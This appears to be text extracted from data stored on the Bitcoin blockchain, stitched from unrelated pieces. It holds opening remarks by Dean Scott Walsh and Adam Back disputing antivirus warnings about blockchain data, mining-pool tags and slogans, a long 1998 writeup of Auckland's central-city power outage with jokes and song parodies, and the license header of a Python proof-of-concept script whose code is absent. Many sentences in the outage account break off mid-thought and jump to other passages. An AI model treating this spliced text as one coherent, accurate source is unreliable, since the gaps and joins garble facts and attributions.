dozens - and not from small alt coins that might be dodgy, from coins with big
market caps, lots of users, and open source code. You have to restore it after
the fact and tell Norton to let it through.
Personally I suspect that this is the part of the industry making excuses
because they know their products can't deal with cryptocurrency software very
well and they would prefer you to think they are protecting you from these
imaginary threats than to think that they just can't be bothered to update the
way they recognise malware so that it doesn't automatically presume all
-Dean Scott Walsh
Kaspersky usually makes a lot of sense, and maybe he's been misquoted, but this
articles makes zero sense to me. How does a few bytes per transactions of
irreversible distributed ledger create a virus risk? Huh? You might want to
focus on say web sites, that have active readers (browsers) that run code. Or
phishing mail with attachments, or operating sytems and virus scanning systems
that blacklist and hence fail open; rather than capability based things like
Qubes that whitelist and fail closed. There is no javascript analog in
op_return data, and no user client software interpreting it as code, so the
articles claim doesnt make sense.
-Adam Back
Mined by AntPool sc0
Time is always against us.
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0&
#The truth is that there is no spoon
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Auckland's Power Outage
or
Auckland - Your Y2K Beta Test Site
Last updated 24 May 1998
The following writeup is a (hopefully) more balanced view of what's
going on than the one being provided through official channels, I'll
keep this updated as new information comes to hand. If anyone has
comments or updates on this, please send them to peterg@kcbbs.gen.nz,
or pgut001@cs.auckland.ac.nz after power is restored.
The city of Auckland, with a population of just over a million people, is New
Zealands largest city and has its power provided by Mercury Energy, who have
four 110kV cables feeding the central business district. Because of one or
more of the reasons given below, all the cables have failed, leaving the
central city without power since the 20th of February. So far this has
affected (at various times) a number of banking data centres (the first day the
processed - the data centres themselves have generators, but the sources
feeding them information don't), the stock exchange, some (unidentified)
central city post office buildings, customs and immigration, inland revenue,
internal affairs, social welfare, the Auckland City Council, the central police
station, Aucklands main hospital and medical school complex (they have
generators, but one of them failed, leaving the childrens hospital without
power for awhile), the city campus of the university and technical institute
(affecting 30,000 students in the middle of enrolment), several TV and radio
stations, many of the major city hotels, a virtual who's who of national and
multinational companies and corporations, and God knows what else (the
government departments have tentacles all over the city, so it's not so bad for
them). Although many of these places have generators, there were various
glitches in switching over and one or two breakdowns which have caused
problems, and most of the generators can't handle anywhere near the load being
possible that the power company may not survive the lawsuits which follow this
(taking out some suburb is serious enough, but taking out the central business
district with its cluster of multinational accounting and legal firms, banks,
government departments, and whatnot is really bad).
Mercury have a web site http://www.mercury.co.nz/ which contains updates on the
situation somewhere on it, be aware that this site is subject to the usual
degree of spin control (there have been discrepancies to date between their
statements to the media and what's actually happening, and power-outage related
pages on their site tend to appear and disappear at random as it suits them).
Effects on the Central City
---------------------------
For those who know the area, the affected area of the city is bordered by Quay
Street, Victoria Park Market, Grafton Gulley, and the motorway. At first the
the media were 1-3 weeks, but the estimates from power company workers are a
month at least (the official figures change constantly, they seem to be getting
slowly worse). Usually it takes a minimum of 3 weeks to repair a fault in a
cable, however with crews working around the clock and the bare minimum of
testing of the repaired cables, it may be possible to do it in a week, provided
it holds together. However, see the comments further down on overloaded cables
and cutting corners - already there are problems with leaks and blockages being
discovered in the gas-filled cables which are pushing the repair time out
further and further. With political concerns overriding technical issues, it
may be that any repaired cables rushed back into service will fail again due to
the hurried nature of the work.
Workers from other power companies are being brought in and working in civvies
with company logos on their equipment painted over to hide the extent of the
problem. Workers were flown in from Sydney, Australia to fix the cables
there's noone in NZ who can do this sort of work. The estimate is that it'll
take about a week without power to redo these, and if the load placed on them
is too high they'll fail again (the faster they bring the cables back online,
the greater the chance of them failing, making it necessary to start again from
scratch). Normally it takes a week of testing alone after a cable has been
repaired, this has been brought down to a single day because of the urgency
with which they're required, which isn't a good thing.
As it turned out, the two repaired oil-filled cables did indeed fail when they
were tested, leaving a stopgap cable link being built along the central cities
rail access corridor (more on this below) as the only hope for restoring power.
Although Mercury haven't admitted this, it's very likely that the two failed
cables are now beyond repair, since they haven't mentioned any further
timetables for repair efforts but are banking on getting power in via the
on Mercury's statements, which tend to be driven by politically expediency
rather than cold realism).
The time to lay the stopgap cable was originally quoted by Mercury as taking
six weeks, but the figure they're now giving is two months - "If you live or
work in the central city, stay away for the next two months". To put this into
perspective, Mercury are telling government departments and multinational
corporations to shut down their operations in the city for two months. For the
moment the city is hanging off a single gas-filled cable nearly half a century
old, with hopes of restoring another equally ancient gas-filled cable within
the next week. Because of their age and fragility, both will be operating well
below their very limited capacity, providing only about 18MW each.
Initially (when Mercury were quoting one week to restore power), the mayor told
businesses in the central city to either close or relocate for a week or more.
continued outage will have on Auckland, the mayor is now considering declaring
a state of emergency (this hadn't been done until now because it wouldn't have
had any real effect except to impose another layer of complexity onto an
already complex mess). The potential losses if major corporations and
businesses relocate out of Auckland are huge, there are already several large
organisations who have left and who aren't likely to return (in some cases the
contents of multiple floors of large office buildings were moved lock, stock,
and barrel to other locations). Wellington (the capital) benefitted enormously
from this as companies relocated there from Auckland.
In the last five years, Mercury Energy have followed the present economic
wisdom of aiming for efficiency and a good return to their shareholders (the
Mercury Trust), raised power prices, reduced their field workforce by half, and
raised management salaries by 30%, with total revenues of $580M in 1997. In
pointless (and ultimately fruitless) struggle to take over their neighbouring
power supplier, Power NZ, which cost Mercury $300m. In the middle of the first
week without power, the Auckland City Council called an emergency meeting in
the town hall to discuss the problems people were facing. Some of the business
owners who attended were on the verge of bankruptcy because of the lack of
power, but Mercury didn't even bother turning up, an act which the mayor
described as "a disgrace". This sort of thing isn't endearing them to their
clients/victims. There seems to be a strong feeling that those who got the
huge pay rises and bonuses when things were going well should now take
responsibility when things are going badly. One company manager was even more
blunt: "fix the problem, make sure it doesn't happen again, then resign". On
the afternoon in which Mercury directors held an emergency meeting to discuss
the implications of the two repaired cables failing, the meeting had to be
moved at the last minute because one of their dissatisfied customers/victims
Because the central city was without power, there was a civil defence callout
in the first few days to avoid a potential crime wave. Police were called in
from other parts of the city to patrol the city center, leading to a lack of
policing in other areas. The lack of power is affecting building access
control systems and alarms, buildings have to have doors propped open so people
can get in or out, so there's no real protection for the building contents.
The services of private security firms are in great demand. By the end of the
week the policing and security issues had been more or less ironed out, and the
civil defence headquarters were closed as they were no longer needed.
Since water and sewage rely on electrically-driven pumps to get them into
office blocks and towers, these services often aren't available either. What
little power is available is being used by emergency and civil services as far
as possible, with other services like traffic lights being run if there's
available. Combine the lack of sanitation with abscence of airconditioning and
you can imagine what conditions are like in parts of these buildings. One
exasperated inner-city apartment owner summed the situation up with "I spent a
million dollars on this apartment and I can't even flush the toilet".
There's a serious problem with food in restaurants spoiling due to the lack of
refridgeration, with health inspectors out in force checking for compliance
with safety regulations. The Ports of Auckland shifted 500 containers to
Wellington for unloading before the goods in them spoiled, and the city council
parked a large refridgerated container unit powered by a generator in a city
square for use by restaurants to store frozen food, although it's unclear how
much this will really help. Retailers were told to sell all they could before
it spoiled and dump the rest.
Provisional tax payments are due at the end of the week, inland revenue have so
can't make the payments until power is restored. The matter has now been taken
to the minister. Several businesses had gone bankrupt by the end of the first
week without power, and the chairman of the Auckland Chamber of Commerce has
said that for a number of small businesses, the best option they have is to
walk away from their businesses and start again.
In one 10-15 story office block, sprinklers were activated by the power outages
and continued spraying water into the building for quite some time. A comment
from someone who saw the aftermath was "They may as well demolish the building
and start again".
Generators and Disaster Plans
-----------------------------
This sort of outage is (needless to say) extremely unusual. In 1996 there
were, as a nationwide average, three power outages (of < 10 minutes duration) a
year, with a major outage (1-2 hours) occurring once every two years. This one
a generator from Poland to try and keep things running. Another company is
flying in generators from Australia. An online news site was contacted by
several US companies wanted to buy advertising space, but they were rather
disappointed to learn that 110V 60Hz generators weren't going to sell too well
in a country which runs off 230V at 50Hz.
The lack of power is a UPS vendors dream, they're almost impossible to obtain -
one company asked that their order of UPS's be shipped with a full charge.
Many of the systems still running are hanging off heirarchical networks of
generators feeding large UPS's feeding smaller UPS's feeding computers,
routers, and whatnot. One contributor reported seeing 30 cases of
newly-arrived UPS's outside a companies offices in the central city. Another
contributor reported that a company bought 30 laptops and cellular modems and
sent the bill to Mercury.
ISP's located outside the central city are telehousing customers from within
drove his generator in from the Coromandel (several hours drive from Auckland)
and installed it by torchlight on Saturday evening. Other ISP's on the edge of
the blackout area have various contingency plans ranging from switching to
generators as much as possible to relocating further out into the suburbs.
Computerworld magazine is being run from a garage in Newmarket (located a few
km from their usual central-city offices), the editor suggested renaming it to
Garageworld. Vendors have reported huge jumps in notebook sales as people
relocate their offices into homes outside the central city area, cellphone
sales have jumped 25% and cellphone rentals 300%, with one large dealer running
out of phones entirely. This has lead to a significant increase in utilisation
of the cellular network, with the system running almost at capacity in the
first few days of the outage.
Mercury are busy hiring out what generators they have at $1000/day to the
businesses they've cut off, and on the first Wednesday of the outage chartered
Australia at a cost of $1.5M. The producers of Xena and Hercules have lent the
generators they normally use to the city (thanks guys). Over the weeked at the
end of the first week, Mercury chartered a Russian Aleutian cargo plane from
Singapore and made two more trips to bring in another four Aggreko generators
from Brisbane and Sydney in time for the start of the next working week,
providing a total of 34MW of generators in operation in the central city by the
following week. However no more large generators can be brought in by air in
the near future because further aircraft capable of carrying them aren't
available in this part of the world - the Russian cargo planes have moved on to
other work, and the only option left is to bring them in by ship.
Apparently the idea of moving ships from the naval base on the other side of
the harbour across to the Auckland waterfront to act as floating generators was
considered, but there are problems with feeding the power from the ships to the
even a fraction of the power required. Another idea which was considered is
using one of the Cook Straight ferries (which could in theory provide around
10MW) as a floating generator (the term "ferry" is a considerable
understatement). Currently a couple of waterfront businesses are being run
with power from ships acting as floating generators, and when both repaired
cables failed their testing, Mercury finally brought in a diesel-electric
trans-Tasman freighter, the Union Rotorua, to act as a 12MW floating generator,
and is considering bringing in another ship or installing generators on barges.
However the problem mentioned above of feeding power from the waterfront to the
city remains, with the Quay St substation only being able to run to a certain
limit (again, there's a problem with a single point of failure - if the
substation goes, there'll be serious trouble). If a state of emergency is
declared, it might be possible to use it to string cables through the streets
to other substations and feed in power from there.
ship(s)) is fairly frightening, Telecom's generators alone are burning up 1,700
litres of diesel an hour (that's about 40 tons of fuel a day just to power the
central city phone network). When asked about the diesel tankers parked
outside it, one petrol station some distance from the city centre said that it
was moving around 40,000 litres of diesel a day. Based on known generator
capacity and consumption, a rough estimate puts the central cities usage as
high as a million litres of diesel a day (I'm open to corrections on this one).
There are concerns about how long the supply of diesel can hold out under these
load conditions.
Some companies have power through various lucky coincidences, for example
Datacom (who provide payroll services) were required by a contract with a
client to provide redundant backup systems which were set up only weeks before
the power outage. Other organisations were less lucky, with Air New Zealand
finding out that although their data centre has enough generating and backup
(without any backup power source) meant they had to move their staff to other
centres around the country.
The organisations which do have generators are finding that, although you can
run them for the usual smoke test every few months, they can't supply power for
any extended period of time (the generator from Poland couldn't actually be run
once it was landed due to the excessive amount of noise it produced, although
this problem has now been resolved). Other companies have found that their
generators have problems with fuel tanks placed too close to the generator or
inadequate cooling and exhaust ducting. On the first full day without power,
there were four fire service callouts to generators which caught fire because
they weren't used to running for extended durations. There have also been one
or two fires caused by incorrectly wired generators and emergency power
cabling.
There is by now enough raw data about Disaster Recovery Plans which don't work
Lawsuits, Government Enquiries, and Who's Really to Blame
---------------------------------------------------------
From talking to people in various affected central city buildings, as soon as
the power comes back on the affected law firms will be handling enough lawsuits
to keep them in clover for years. In theory the current commercial monopolies
inherited the privileged positions of the old Power Boards from which they're
descended, making it impossible to sue them for failing to provide a service.
The only thing they can be sued for is negligence, there is mounting evidence
that this will be possible. Mercury say that the cables were all dug up quite
recently to sleeve the joints as required by the Resource Management Act to
prevent loss of oil or gas into the environment, and that this indicates that
they were being maintained (this, however, seems more like "wave a dead chicken
over them to stop us being fined under the Resource Management Act" than any
said that the best thing to do is leave the cables buried and not touch them,
so digging them all up may have made things worse. When asked whether he
believed Mercury had been negligent, the chairman hedged his bets by stating
that they hadn't been negligent in trying to restore the cables.
In 1993, five years before the current crisis, Mercury Energy had become
sufficiently concerned at the condition of the cables that they asked Leyland
Consultants to prepare a report on them, which recommended that the main cables
were at the end of their life and should be replaced (the engineers at Mercury
had been expressing concern about the state of the cables for some time before
that, see below). In fact it was later revealed that Mercury's strategy for
the cables was that any failure in the gas-filled cables (which was seen as not
too unlikely) would result in their load being switched over to the oil-filled
ones which would then carry the full load. This strategy was based on the
oil-filled ones.
When the first cable failed, the fallout from the outages it caused were such
that Mercury avoided making any real cuts to try and reduce the load on the
remaining cables (this weeks Computerworld, prepared before the outages,
contains an article reassuring everyone that the problem is solved and
everything is OK). Mercury ran an emergency feed for several miles over a
string of poles, which had hardly been completed when the second cable failed.
They then tried to force a full load over the remaining cables by management
will-power alone, which unfortunately wasn't enough to overcome the basic laws
of physics, and everything which was left failed as well.
It's not unlikely that the combined legal resources of everyone they've annoyed
will find enough material in there to get to them (there are probably armies of
lawyers sitting around candles right now scrutinising the relevant
legislation), and the case will eventually get heard in the Auckland high court
have power either. There are plans for multiple mass class action suits
against Mercury, one group has even said they'll get criminal charges pressed
against them for crimes against public welfare. I think I'll join the class
action suits as well, the fact that the university machines are down means that
I've had to use tin to read news for more than a week, that's got to be worth
several hundred thousand dollars compensation for mental anguish.
The Prime Minister has already made a plea for people not to engage in a
witch-hunt against Mercury, but this appears extremely unlikely as things get
more and more desperate each day. So far Mercury seem to have blamed the whole
mess on an act of God, knowing that it'll be more difficult for people to get
compensation cheques out of Him than from Mercury. The government has said
they won't be offering any compensation because it's strictly a matter for
Mercury and the Auckland City Council, which has upset some Aucklanders because
wrong elsewhere. Mercury and the Auckland Power Consumers Trust have set up a
$2M fund with each contributing $1M to help people and organisations affected
by the power outage, although the maximum possible payout of $2000 is of little
use to businesses faced with $1000/day charges for generators. There's also
concern that the payouts may be a bit of a booby trap, with anyone applying for
funding finding it difficult to claim further compensation from Mercury in the
future. In any case because of the tiny amount being paid out (an average of
$750, which can't even begin to sustain businesses who have lost nearly two
weeks worth of revenue) almost noone has applied for funds, and most of the $2M
is still sitting there untouched. Consumers were, however, cheered to find out
that although there was no money available for them, $500,000 had been made
available for an enquiry into why the whole mess had occurred in the first
place.
A government enquiry into the whole matter was announced fairly early on (the
to have been looked at was the extremely peculiar relationship Mercury have
with the law firm Russell McVeagh. Although Mercury is 100% owned by a trust,
of the 9 Mercury directors only 4 are appointed by the trust, with the majority
of 5 being appointed through some mechanism which involves Russell McVeagh.
Much of the Mercury board appears to consist of lawyers who know nothing about
running a power company (as a radio sketch by Fred Dagg, an ex-NZ comedian, put
it, "I'm an accountant, that's why I'm running a power company"). Mercury then
in turn appointed Russell McVeagh to act as their legal advisors.
Although this is just the usual paranoid structure set up when you ask lawyers
to manage things for you, to the public it looks very suspect, and was regarded
as being a primary target for any government investigation. This corporate
structure is extremely nasty for the nominal owners (the public), because
although they don't control the company, they do carry all the liability for
for it through higher power bills. Noone except the lawyers who set the whole
structure up will ever make any money out of this. In any case there may not
be a Mercury Energy left to sue when all this is over: Although they are in
theory worth just under a billion dollars, much of that is buried in the ground
(and some of it just got reduced in value from "power cable" to "scrap metal")
and up on poles, so trying to keep the central city alive for another two
months may finish them financially.
Just before the first of an avalanche of lawsuits against them began, Mercury
made a last-minute bid to stave off problems by giving people direct access to
Mercury to lodge compensation claims, at the moment it's uncertain whether this
will have much effect.
According to a story in the New Zealand Herald (Auckland's largest paper), the
power problems go back to the old state-run Auckland Electric Power Board
(AEPB), the immediate predecessor of Mercury Energy. Former AEPB engineers
1980's (in the early 1970's the cables were expected to last 10, perhaps 15
years if people were lucky). Mercury Energy has full records of meetings,
reports, and discussion papers in which this problem was addressed, but has
declined to make them available even though they were once public records,
probably out of concern that they'd make a prime smoking gun for use in various
lawsuits. According to the Herald, the issue of replacing the increasingly
dodgy cables came up again and again, but was ignored by the board until
Mercury inherited the problem in 1993. When the old power boards got
restructured, a profit-driven mentality took hold with the idea being to drive
the plant as hard as possible while performing the minimum of routine
maintenance. I'm not sure how much of this is just 20/20 hindsight, everyone
asked about the matter seems to have known that the cables were past the end of
their effective life, but noone did anything about it. A Mercury board of
directors member has claimed in a TV interview that they had no idea that the
money fairly firmly on "We tried to tell them, but noone listened".
Looking a bit further afield than the Auckland central business district, all
of Northland is hanging off cables run by another power monopoly, Transpower,
which are even dodgier than the ones which failed in Auckland. An engineer who
helped install the power network in the 1950's described the overhead cables
feeding the north as "totally shot" and "in need of urgent replacement". The
closing of the white elephant Marsden Point power station in Whangarei several
years ago means that when these cables fail, there's no way to provide power to
all of Northland (the Marsden Point station consists of Marsden A, officially
mothballed (meaning partially dismantled and left to rot), and Marsden B, which
was never finished, everything just got left the way it was on the day work was
stopped).
Although there are new power stations such as the 400 MW Otahuhu power station
unit) being commissioned, there's nothing north of the Auckland choke point.
Hopefully the government enquiry will extend to looking at future problems in
supplying power further north as well. My concern over this and the fact that
I'm writing this from a location north of Auckland which is supplied by the
aforementioned totally shot power cables is purely coincidental.
This kind of outage brings home the fact that electricity isn't a simple
commodity like clothing or electrical goods where an interruption of the supply
doesn't have any significant consequences. Electricity is an essential
requirement for modern life. If something goes wrong, it isn't just an
annoyance for the company shareholders, it's something which affects everyone.
This means that companies supplying essential services like electricity (and
water and other similar services) can't be run like standard companies where
the consequences of poor decision-making are restricted to the end-of-year
profit and share price, but need to have substantial extra capacity and
appears to be that privatisation is a Good Thing and everything else leads to
waste and inefficiency. This was borne out by Mercury: They cut maintenance,
cut the workforce, deferred investment in new plant, made record profits, and
then knocked out the largest city in the country.
Even if there's a requirement to make a profit, a discussion with a specialist
in risk management indicates that there may be ways to ameliorate the cost of
ongoing maintenance and upgrading. Consider the city of Wellington, which is
run as one of the larger corporations in New Zealand. Wellington has an
extensive and complex risk management strategy in place which is used to reduce
insurance premiums (insurance companies can see the risk management in action
and therefore reduce their premiums). Apparently this allows the city to run a
good maintenance program without incurring excessive costs. In contrast the
risk management strategy adopted by AEPB directors appears to have been early
retirement.
-----------------
Two of the cables in question have copper conductors inside a pressurized
nitrogen jacket and are referred to as impregnated pressure (IP) cables
(apparently we're one of the few countries which still use these, they have a
reputation for being rather unreliable and became obsolete soon after they were
installed). Installation work on them commenced in 1947, so they're over 50
years old and although they're supposed to have a life expectancy of up to 60
years, in real terms they were past it 15-20 years ago (more on this below).
The other two are oil-filled and are referred to as self-contained oil-filled
(SCOF) cables. Installation commenced in 1975 (the installation,
commissioning, and testing can stretch over several years, so the dates quoted
can vary by a few years). The oil-filled cables are supposedly rated at 60MW
each, the gas-filled ones at 50MW (although in practice they don't have
anywhere near this capacity, more on this below). The central business
The intial suspicion was that the El Nino summer has dried out and heated the
ground so that vibration and ground movement (shrinkage) have damaged the
cables. With daytime temperatures as high as 30C (86F) and humidity up to 75%,
air conditioning loads have soared (at one point it wasn't possible to obtain
fans in city stores). Ground temperatures have also been very high,
accelerating the ageing of the cables. It was also susoected that variations
in load were causing dynamic magnetic field changes, so that the
electromagnetic forces between the three conductors and the steel pipe jacket
(more on this below) caused the core to move around inside the pipe (this may
have been the reason why the later cable failures occured, they would have been
severely overloaded when the first cables went). Also, due to very slight
temperature gradients around the cable, the differential thermal expansion
would cause various bending and warping forces, however the exact cause(s) of
subjected to lab analysis. As it turned out, this was more or less what
happened to the various cables (see the enquiry results further down).
The oil-filled cables consist of three central copper/aluminium conductors
inside a fairly sizeable pipe filled with an insulating filler, with three
ducts carrying the pressurized oil dielectric consisting of tens to hundreds of
thousands of litres of oil contained in a typical pipe. The much older
gas-filled cables are generally similar but have a much lower capacity than the
old-filled ones, and substitute nitrogen pressurized to 200psi for oil. In both
cases the gas/oil isn't used so much to cool the cables but to improve its
insulating properties.
The copper/aluminium conductorss are each about 8cm in diameter core, and are
wrapped in 200 layers of special oil-impregnated paper tape, followed by
another copper sheath, and then a spiral wrap of 5mm bronze wire. These three
filled with insulating filler with ducts for the oil or gas. The outer sheath
consists of layers of lead, plastic, aluminium, and then more plastic. At each
cable join is a splice which has temperature sensors, oil flow rate monitors,
and pressure monitors to check oil conditions.
Once the initial cable is installed, it's evacuated to both leak test it and
remove any contaminants (for example when there's no gas present the oil from
the paper tape which can leak into the gas duct in the gas-filled cables).
Then the ducts are flushed with dry nitrogen, evacuated, and finally pumped
full of high tension oil or gas under vaccuum to force any remaining
contaminants out. For the oil-filled cables, the oil is first sprayed into a
holding chamber at high temperature from hundreds of nozzles to get the maximum
surface area, the high temperature causes all the crap to boil out so the good
stuff which is left can be pumped into the pipeline. Once the ducts appear to
be free of contaminants, a 5000V tester is used to ensure that none of the
high-voltage test is carried by solwly ramping the voltage up to at least 30%
above the normal voltage. This is left for awhile, and the cable is then
slowly powered down. This test is carried out for all conductors, after which
the cable is hooked up at 110kV but left with no power flowing for at least 12
hours. Finally, the load is gradually increased over the next 12 hours, with
the three cores typically carrying 600-800 amps of three-phase power.
Both ends of an oil-filled cable typically have large holding tanks of oil,
with pumps which are reversed every 6 hours so the oil oscillates back and
forth in the cable, eliminating hot spots and spreading the heat over a large
area. In the last hour of the cycle, things are slowly run down to get zero
oil velocity, then everything is reversed and slowly run up again to move the
oil in the opposite direction.
Performing the repairs is difficult because at each point they have to sink a
point), line the shaft it to avoid the walls caving in, pump out any water
which accumulates, and then repair the cable in the rather cramped conditions.
Closing up the pipe after repairs is a special task in itself because as the
pipe is filled with oil and paper it has to be done with special equipment and
takes 8 hours to weld one section of pipe. If the pipe is too hot to touch
10cm from the welding, they have to stop and let it cool before they can
continue. After that, they have to go through the lengthy refilling process
described above.
Within 10 years of the gas-filled cables being installed, they were
experiencing 1-2 gas leaks a year, with each failure taking several weeks to
repair. Luckily both cables never failed at the same time. In 1995 (with the
oil-filled cables in place), both gas-filled cables failed, but the oil-filled
ones held up to the load, which was rather less than it was by 1998. According
to a former AEPB engineer, the problems with the oil-filled cables was caused
high thermal resistivity of the material surrounding the cables due to the dry,
hot ground. Because of this, the cables should have been derated to around 50%
of their actual capacity at the time of the failure. The cable manufacturers
also stated that they were being run well outside their design limits (more
details on this below).
Fixing the Problem
------------------
Mercury have a $120M, 9.2km tunnel under construction which (had it been
finished) would have brought in the required power, however it passes under the
buildings which are now affected and during the planning stages the owners of
the buildings raised all sorts of objections to it (the project was initiated
in 1994, but construction didn't start until May 1997). When completed, the
tunnel, which runs between 20 and 100 metres underground, and carry power and
communications cables into the central city. The delay in starting the
other organisations to help fund the project by selling them space in the
tunnel, held things up for nearly two years, pushing back the 1997 completion
date by at least another 1 1/2 years. I see a long period of finger-pointing
to follow.
As a relief measure, Mercury ran 9km of double circuit overhead cable along
concrete pylons hastily erected along the rail access corridor into the central
city. Noone dared to raise any planning objections this time. The work was
originally expected to take 6 weeks to complete using a mongolian hordes
approach with materials garnered from all over the country and cost $5M,
although like all of Mercury's estimates to date the completion time ended up
being stretched out by another few weeks. This timetable was also useful as a
real indication of how repairable the oil-filled cables are: Mercury gave the
time to restore power to the central city as the time to install the stopgap
cable, indicating that although they wanted to try repairing the oil-filled
Mercury have also indicated that the stopgap cable would be expected to hold
for 18 months or until the tunnel is ready, which indicates that they're not
planning to get anything else done until the hoped-for completion date of the
tunnel.
Amazingly enough, the emergency link was completed in less time than expected,
with a warren of feeder cables at both ends being run to and from various
substations in the vicinity. The rail tunnels were hastily fitted with what
one observer described as heffalump traps, and Mercury announced over the radio
that people could turn off their generators. The power stayed on for nearly
two hours after the all-clear announcement was made.
By the following Monday, everything was more or less back to normal, with power
being supplied by the emergency feed.
The Aftermath
-------------
quickly, and was published on 8 May. The inquiry was carried out by Integral
Energy, a large Australian power company. The report found that Mercury's
planners made judgements on cable loading based on information provided by the
manufacturers rather than the actual conditions at hand (that is, they ran the
cables at their theoretical rating rather than the actual rating under the
conditions they operated in). Although the cables supplied met the
requirements set by the (former) AEPB, they were operated in conditions well
outside those given in the requirements. The gas-filled cables were installed
"contrary to good engineering practice", with bad ground stability in one
location leading to a continuing series of faults at that location. In
addition since Mercury's planners regarded the gas-filled cables as inherently
unreliable, they didn't place much emphasis on maintaining the cables and
didn't investigate the cause of the repeated failures very closely. At the
time of the investigation, Mercury were not utilising various alarm functions
As has been mentioned earlier, Mercury considerably over-rated the cables for
the conditions they were being operated in. Although the oil-filled cables
have a nominal rating of 60MW, ground conditions meant they had a much lower
actual rating, so that the cables started to overheat when loaded to anything
more than half this rating (this indicates that even with all four cables fully
functional and supplying a normal load to the central city, the cables were
already overloaded and overheating). This overheating couldn't have been
detected as part of Mercury's maintenance program. According to the report,
Mercury didn't comply with the manufacturers recommendations for routine
testing and maintenance. As a result once the gas-filled cables failed the
first oil-filled cable failed due to thermo-mechanical reasons (the
higher-than-allowable operating temperature allowed the conductors to move,
causing a joint to be compressed which resulted in it failing), and the second
(or to use trade union parlance, it went out in sympathy).
The enquiry completely avoided looking at Mercury's peculiar management
structure, covering only the technical aspects of the failure.
It's unlikely whether anyone will ever know the total cost of the outage, but
it's estimated that it cost Mercury around $150M, which is two years worth of
after-tax profit (their yearly operating revenue is $600M).
Bits and Pieces
---------------
Here's a panoramic photo of the central city by night:
+-------------------+
| |
| |
| |
| |
+-------------------+
In the foreground you can't see the town hall, with the Aotea Center and
council building in the background. To the right you can't make out the side
of the Sky Tower, with the casino beneath it.
Here's another shot, taken from down by the waterfront:
+-------------------+
| |
| |
| |
| |
+-------------------+
In this one you can't see Queen Street and the businesses up either side, with
the Coopers and Lybrand tower not visible to the right.
I'll put more shots online later if I can find somewhere to power a scanner.
The power outages did bring out some good things. After the power had been out
for about half an hour on the first day, someone mentioned that the fridges
self-sacrifice, everyone immediately rushed downstairs and saved all the beer
from getting warm (for UK readers who may not understand the significance of
this: Cold beer good, warm beer bad).
Auckland joke (you probably have to be a NZ'er to get this):
Q: If there are power shortages, which will you keep running, the cappucino
machine or the air conditioner?
A: Both.
More jokes:
Q: How many Aucklanders does it take to change a lightbulb?
A: Does it matter?
Pickup line for Aucklanders:
"Would you like to come up to my room and see my <arbitrary electrical
appliance> work?"
Q: What did Aucklanders use before candles?
Because of the Y2K problem, various people are planning on taking vacations
away from electronic devices in December 1999. Central Auckland is looking
like a good place to take this vacation.
Various Odes to Mercury Energy
------------------------------
This isn't as good as I was hoping for, but here it is anyway, to the tune of
"Day-o" (I think that's what it's called):
Powwwwwwww eeeeeerrrrrrrrr!
Pow-ow-ow-er!
Workday come an' me
Wan' me power.
Hey mister Mercury man,
Gimme back me power
Workday come an' me
Six-week, seven-week,
Eight-week outage!
Workday come an' me
Wan' me power.
Powwwwwwww eeeeeerrrrrrrrr!
Pow-ow-ow-er!
Workday come an' me
Wan' me power.
I work all day
to build up me business
Workday come an' me
Wan' me power.
Now Mercury put me
out of de business
Workday come an' me
Wan' me power.
Powwwwwwww eeeeeerrrrrrrrr!
Pow-ow-ow-er!
Workday come an' me
Wan' me power.
This one, contributed by Nutta McBastard <nutta@kcbbs.gen.nz>, is much better:
BLUN-DER-ING MERCURY
(TO TUNE OF QUEEN'S 'BOHEMIAN RHAPSODY')
Pow-er, just went off again.
Flicked the switch right by my head.
Lights were shining now they're dead.
Pow-er, it had just been on
But now it's going to black out right away.
Pow-er, ooh-ooh,
Not enough to run the lights,
Don't have power now,
won't have no power tomorrow,
Powers off, powers off,
Too late, my dinner's cold,
Cold spaghetti, warm white wine,
Oven's powerless all the time.
Goodbye frozen produce, you've got to go
Fridge defrosting means you rot, no time at all.
Pow-er, ooh ooh,
Mercury you make me cry,
I really wish you'd never been here at all...
(Guitar solo)
I see a little UPS in place of pride,
Battery power, battery power!
Pass the fuel for the generators.
Diesel does just nicely
But it's very very dicey,
BANG
Generators?
Generators? (GENERATORS?)
(Burning generators just don't go. )
I've got no customers, somebody help me,
He's got no customers, get him cash immediately.
Economy's gone to crap
And this city's on its knees.
Power comes,
Power goes,
Nothing ever works.
Have power?
No!
It's blacked right out again.
(It not go!)
Mer-cu-ry!
(They cannot make it go!)
Mer-cu-ry!
(They cannot make it go!)
(They cannot make it go!)
(They cannot make it go!)
Mer-cury-ia, Mer-cury-ia,
Mer-cury-ia make it go!
Mer-cu-ry has devils for Directors.
Me... Poor me... Poor me!
(Guitar solo)
Directors blunder and believe it's alright?
They want to take over every Power Co in sight.
No way-mate! Let's hang the lot - YAY!
The chair would be better,
But it just won't work around here.
(Guitar solo)
Power really matters,
Consumers they can see.
Power really matters,
But not to Mer-cuuu-rryyy.
----------------
This writeup originally started as a page of notes covering an afternoon power
cut. By the time it had grown into the current lengthy saga, I'd lost track of
who had contributed what, and when (and even the dates were a bit hazy, since
it was only expected to last a week I used references like "Wednesday" to
specify a time). Suffice to say that lots of people have helped in bringing
you this information.
Mined by AntPool sc0
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
#!/usr/bin/env python3
#
# Copyright (C) 2015 Peter Todd
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# WARNING: Do not run this on a wallet with a non-trivial amount of BTC. This
# utility has had very little testing and is being published as a
# proof-of-concept only.
